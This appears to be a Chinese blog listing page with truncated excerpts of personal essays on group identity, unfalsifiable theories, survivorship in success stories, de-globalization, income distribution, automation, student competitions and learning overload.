社会为什么总在劝你合群？因为“我们”是最便宜的组织方式
人类特别喜欢说“我们”：我们班、我们学校、我们公司、我们家乡，或者我们这一代人。这个词用得太自然，以至于我们很少意识到，它其实完成了一件相当了不起的事情：两个完全不认识的人，只因为共享一个名字，就可能突然觉得彼此是自己人。 两个平时互相看不顺眼的同学，出了学校以后碰到别校的人，可能立刻站到同一边；几个在班里懒得说话的人，一到运动会，也会一起喊“八班加油”。他们并没有因此变得更加了解彼此，过去的矛盾也没有消失，但一个共同身份已经足够让他们暂时行动起来。 这件事之所以值得讨论，是因为它揭示了人类社会一种很基础的组织技术：我们不需要先调查每个人的三观，也不需要逐个签订合作协议，更不需要所有人真的互相喜欢，只要先给他们一个共同名字，就能让原本分散的个体产生某种默认的联系。 不过，便宜的东西通常不是真的免费。许多时候，只是别人替你买了单。 身份压缩：一个名字如何降低协作成本最稳定的共同身份，往往来自那些不太容易改变的东西，比如出生地、语言、学校、家庭和国家。它们的共同特点是容易识别，而且不会因为一个人今天心情不好，明天就自动失效。 这对组织特别重要。假如一个群体每天第一件事都是重新确认“你...
什么都能解释的理论，跟“啥都能圆”的算命有啥区别？
有些理论特别厉害，市场涨了，它能解释；市场跌了，它也能解释。一个人成功了，是因为长期主义，失败了，则是方向没选对；坚持到底赢了，叫“坚持就是胜利”，及时退出躲过一劫，又叫“懂得止损”。这些话单独听起来似乎都有道理，可是放在一起，就会让人产生一种奇怪的感觉：如果无论发生什么，它都能宣布自己早已料到，那么它究竟告诉了我们什么？ 我觉得，判断一个理论有没有价值，不能只看它解释了多少事情，还要看它为了维持这些解释，给自己留下了多少事后修改的余地。这里不妨把这种余地叫作“解释自由度”：一个系统在事实已经发生以后，可以多大程度地重新选择变量、补充条件、调整边界、改变口径，从而让原来的说法继续成立。这不是某个严格的数学量，而是一个用来观察认知方式的概念。 自由度本身并不是坏事。神经网络有很多参数，经济模型需要处理复杂变量，物理理论也离不开辅助假设。真正值得警惕的是另一种情况：一个解释系统不断增加对过去的适应能力，却几乎不增加对未来的约束。事情发生之前，它不肯说死；事情发生之后，它又什么都说得通。这样一来，解释就成了一种没有风险的生意。 算命先生说：“你今年会遇到贵人。”一年过去，并没有什么贵人...
网上那么多“上岸经验”，到底有多少是在事后编故事？
每年高考、考研、考公、秋招结束以后，互联网都会进入一个很神奇的季节：突然之间，所有成功的人都变得特别会总结。 “三个月逆袭 985，我只做对了这三件事。”“普通人复制这套方法就够了。”“后来我才发现，真正拉开差距的根本不是努力。”标题一个比一个确定，看多了以后，你甚至会产生一种错觉：人生这玩意儿，原来是有 README 的。找一个已经跑通的人，复制他的配置，改一下自己的参数，理论上应该也能启动。 可惜人生不是开源项目，别人的运行日志也不等于你的部署说明书。一个人成功以后，总能从过去的几百件事里挑出几件看起来最像原因的东西，再把它们排列成一条清楚的时间线；至于这些事情究竟是成功的原因，还是成功以后才被赋予了特殊意义，就没有那么容易分清了。 所以，标题里的问题如果一定要先给一个答案，我认为是：我们不知道网上究竟有多少成功经验是在事后编故事，但有理由怀疑，绝大多数经过传播的成功叙事，都把现实中复杂的因果关系压缩得过于整齐了。 这不等于说分享者都在撒谎。很多人确实努力过，方法也确实有用，只是一个人真诚地相信自己的解释，和这个解释真的具有因果效力，是两回事。 心理学里关于自利性归因的研究早...
依赖定价机制：全球化越深，为什么世界反而开始造“第二套系统”？
有时候回头看二十年前的新闻，会产生一种很奇怪的穿越感。那时候最时髦的词是全球化、国际分工、比较优势和全球供应链，甚至有一本后来特别出名的书，干脆叫《世界是平的》。 那套想象确实迷人：美国设计芯片，荷兰造光刻机，日本提供材料，台湾地区负责先进制造，中国大规模生产和组装，澳大利亚挖矿。每个人只干自己最擅长的部分，没人需要把整套工业文明从头再造一遍。现代工业能够复杂到今天这个程度，本来就是因为没人需要什么都会；如果每个国家都坚持从螺丝钉到光刻机全部自己生产，人类恐怕连一部手机都要造得相当费劲。 可二十多年以后，再看看今天科技新闻里的高频词，已经换成了国产替代、自主可控、供应链安全、De-risking、Friend-shoring、Small yard, high fence、Resilience 和技术主权。以前大家拼命证明“我能接入全世界”，现在又拼命证明“哪怕有一天某一部分世界不让我接了，我也不能马上死”。 再低头看看手机，ChatGPT、Claude、Gemini 是一套，DeepSeek、Qwen、豆包、Kimi 又是一套；YouTube、Google、WhatsApp 与 ...
网红赚得比工程师多，真的是社会分配出了 Bug？
有时候看收入这件事，会产生一种很朴素的困惑。一个工程师做了几年系统，白天改 Bug，晚上查日志，服务器半夜炸了还得爬起来看，最后做出来的产品也许有几百万、几千万用户，每天稳定运行，几年以后还在给公司赚钱。另一边，一个主播坐在镜头前聊几个小时，一个 KOL 发一条商单，一个头部博主拍一期视频，一场直播就能卖掉几千万的货，有些账号一条广告的报价，可能顶普通人几年工资。站在技术人的视角看，很难不冒出一句：凭什么？ 工程师特别习惯一种价值直觉：东西最好能复用，能规模化，能积累。今天写一个库，明天还能用；今天搭一套系统，几年以后还能继续跑；一个算法被发明出来，可能执行几亿次，一套基础设施搭好，后面几百个人都能踩在上面继续干活。相比之下，一场直播关播以后似乎就结束了，一条热搜三天以后还有多少人记得，一场演唱会、一场比赛、一个爆款视频，放到几十年、几百年的尺度上，又究竟留下了什么？ 这个问题多少有点“工程师味过重”，但它暴露出来的直觉并不罕见。我们经常默认工资是在给社会贡献打分：工资高，说明能力强；赚得多，说明贡献大。如果一个头部主播一年赚几个亿，一个科研人员一年赚几十万，是不是意味着社会已经...
如果机器已经能把活干了，人为什么还得每天上班？
我最近看到过一句挺怪的话，大意是：很多工作存在的意义，可能不是社会真的缺你这八个小时的产出，而是社会需要一个理由，给你发钱。 这句话听起来像段子，甚至有点阴谋论的味道。毕竟企业不是慈善机构，一个岗位如果完全没有需求，公司没有理由每个月真金白银地发工资。把现代工作理解成社会故意制造一堆活，好让大家忙起来，显然解释不了真实的经济。 但这句话碰到了一个值得认真讨论的问题：如果机器越来越能干，生产同样的东西已经不需要那么多人，为什么绝大多数人仍然必须通过一份全职工作，才能获得稳定的收入和体面的生活？ 这里真正需要区分的，是两件长期被我们当成同一件事的东西：社会需要多少劳动，以及一个人需要多少收入。 过去，两者之间的关系非常紧密。地没人种，就没有粮食；机器没人开，就没有产品；商品没人运输，也到不了消费者手里。社会要维持生产，就必须让大量人参与劳动，而工资恰好把生产和分配连接起来。你付出劳动，企业支付报酬，社会由此完成一部分资源分配。 技术进步正在改变的，首先是这条连接的前半段。它未必会让人类彻底没有事情可做，却可能让某些劳动不再稀缺，让原本足以养活一个家庭的工作变得便宜、零散，或者不再需要...
比赛拿了一等奖，然后呢？
相信不少认真打过比赛的人，都经历过一种很微妙的时刻：比赛结束，一等奖拿到了，合影拍了，朋友圈发了，指导老师在群里祝贺项目团队取得优异成绩，大家整整齐齐地回复“感谢老师指导”。那几天确实挺高兴，毕竟几个月的熬夜、改稿和反复折腾，总算有了一个能拿出来交代的结果。 然后过了一周，服务器停了，群安静了，代码没人动了，PPT 躺在一个叫 最终版-真的最终版-答辩修改版2.pptx 的文件夹里。半年以后，有学弟来问：“学长，这个项目现在还有人在维护吗？”你打开 GitHub，看了一眼 Last commit：六个月前。 这时候，一个多少有点冒犯的问题就出现了：我们花几个月甚至一两年打比赛，到底得到了什么？ 是那个奖吗？是综测分、奖学金和简历上的一行字吗？还是那个比赛结束以后，几乎没人再打开的项目？ 我后来越来越觉得，学生创新创业比赛最大的价值，恰恰不在于它能不能提前制造出一个成功项目，而在于大学给了我们一个非常罕见的机会：用相对低的代价，体验一次把一件事情真正往前推的过程。它让你接触到真实世界的一部分复杂性，也让你有机会在还没有承担真实创业风险的时候，学会判断、取舍、协调和面对失败。 但这里...
拿了国赛三等奖之后，我才想明白一个更扎心的问题
第十九届全国大学生信息安全竞赛（作品赛）暨第三届“长城杯”网数智安全大赛（作品赛），到这里算是彻底结束了。我们的作品《面向 AIGC 伪造的跨域泛化检测与可解释性防御平台》，最后拿到了全国三等奖。 结果出来的时候，我没有特别强烈的情绪，更多是一种终于可以停下来的感觉。这个项目从本科毕设一路做到比赛，前前后后折腾了很久，最后呈现出来的东西也越来越多：多模态大模型图像真实性分析、CLIP 图像伪造检测、不同数据集上的泛化评测、图片内容审核、大模型安全护栏、Agent 执行审计、来源取证、人工复核。模型重新训练过，平台重新搭过，又因为实习期间正好在研究 NPU，把其中一部分模型迁到了华为昇腾上。 如果只看最后的作品报告，很容易产生一种错觉，好像这些东西从第一天起就在白板上排好了队，我们先画出一张完整架构，再让 Deepfake、MLLM、大模型安全护栏、Agent 和来源取证按照施工计划依次进场。最后的报告也确实被整理成了一套工整的结构：Deepfake 检测、MLLM 真实性分析、内容安全审核、大模型安全护栏、Agent 执行安全、来源取证，再到统一编排。[12] 真实情况当然没有这...
为什么你的项目，放到哪儿都差点意思？
相信不少认真做过项目的同学，都经历过这么一个魔幻时刻。 代码写了，平台搭了，模型跑了，服务器部署了，PPT 磨了八个通宵，比赛甚至还拿了个奖。你觉得这回总该有点说法了，于是信心满满地去找导师：“老师，这个能不能写篇论文？” 导师盯着屏幕看了半分钟，问：“创新点在哪？” 你不死心，又去找做产品的人：“哥，这玩意儿能不能上线？”对方连架构图都没看完，先问了三个问题：谁用，为什么用，服务器一个月多少钱？ 行，学术圈和商业圈都不识货，那我开源总行了吧。你把代码甩上 GitHub，README 认真写了，截图精心挑了，仓库设成 Public。一个月以后，Star 数是 7，其中两个还是室友点的，属于项目还没形成社区，寝室先完成了冷启动。 这时候，人很容易开始怀疑人生：我明明什么都做了，为什么放到哪儿都差点意思？ 我觉得，问题往往不是项目太差，而是我们从一开始就把“做项目”想成了一张可以到处通兑的成绩单。技术难、功能多、系统完整、比赛获奖、PPT 漂亮，好像这些东西攒得足够多，它自然就应该同时变成论文、产品和开源项目，顺便再成为一段光鲜的简历经历。一鱼四吃，听起来特别划算，可惜现实不是这么结...
收藏了两百门课，全栈到底要学多少东西才算够？
我的收藏夹里，认真数一数，大概真能凑出两百门课。 前端、后端、Java、Python、Rust、C++，再往下是 Docker、Kubernetes、CUDA、大模型、Agent、强化学习、计算机网络、操作系统、体系结构，甚至还有几门嵌入式。每一门收藏的时候，理由都特别充分：这个以后肯定有用，那个是基本功，另一个可能是未来的方向。收藏夹像一份雄心勃勃的个人发展规划，唯一的问题是，里面许多课程的第一节我都还没来得及打开。 学计算机有一个特别恐怖的地方：值得学的东西，几乎永远都能为自己找到一个合理的理由。 一开始，你真的只是想做个网页，就那种标题居中、按钮会动，写进简历都能开心半天的网页。想让按钮动，得会 JavaScript；用户数据总得存起来，于是后端和数据库也安排上；项目做完总得给别人访问，Linux、Nginx、Docker 又排着队冲过来了。等你以为差不多了，AI 时代又拍了拍你的头：Python 总得会吧，大模型总得懂吧，RAG、Agent、MCP 听说过没有，模型总得部署吧，vLLM、SGLang 看不看，性能再往下抠一点，CUDA、Triton、量化、显存和算子就全出...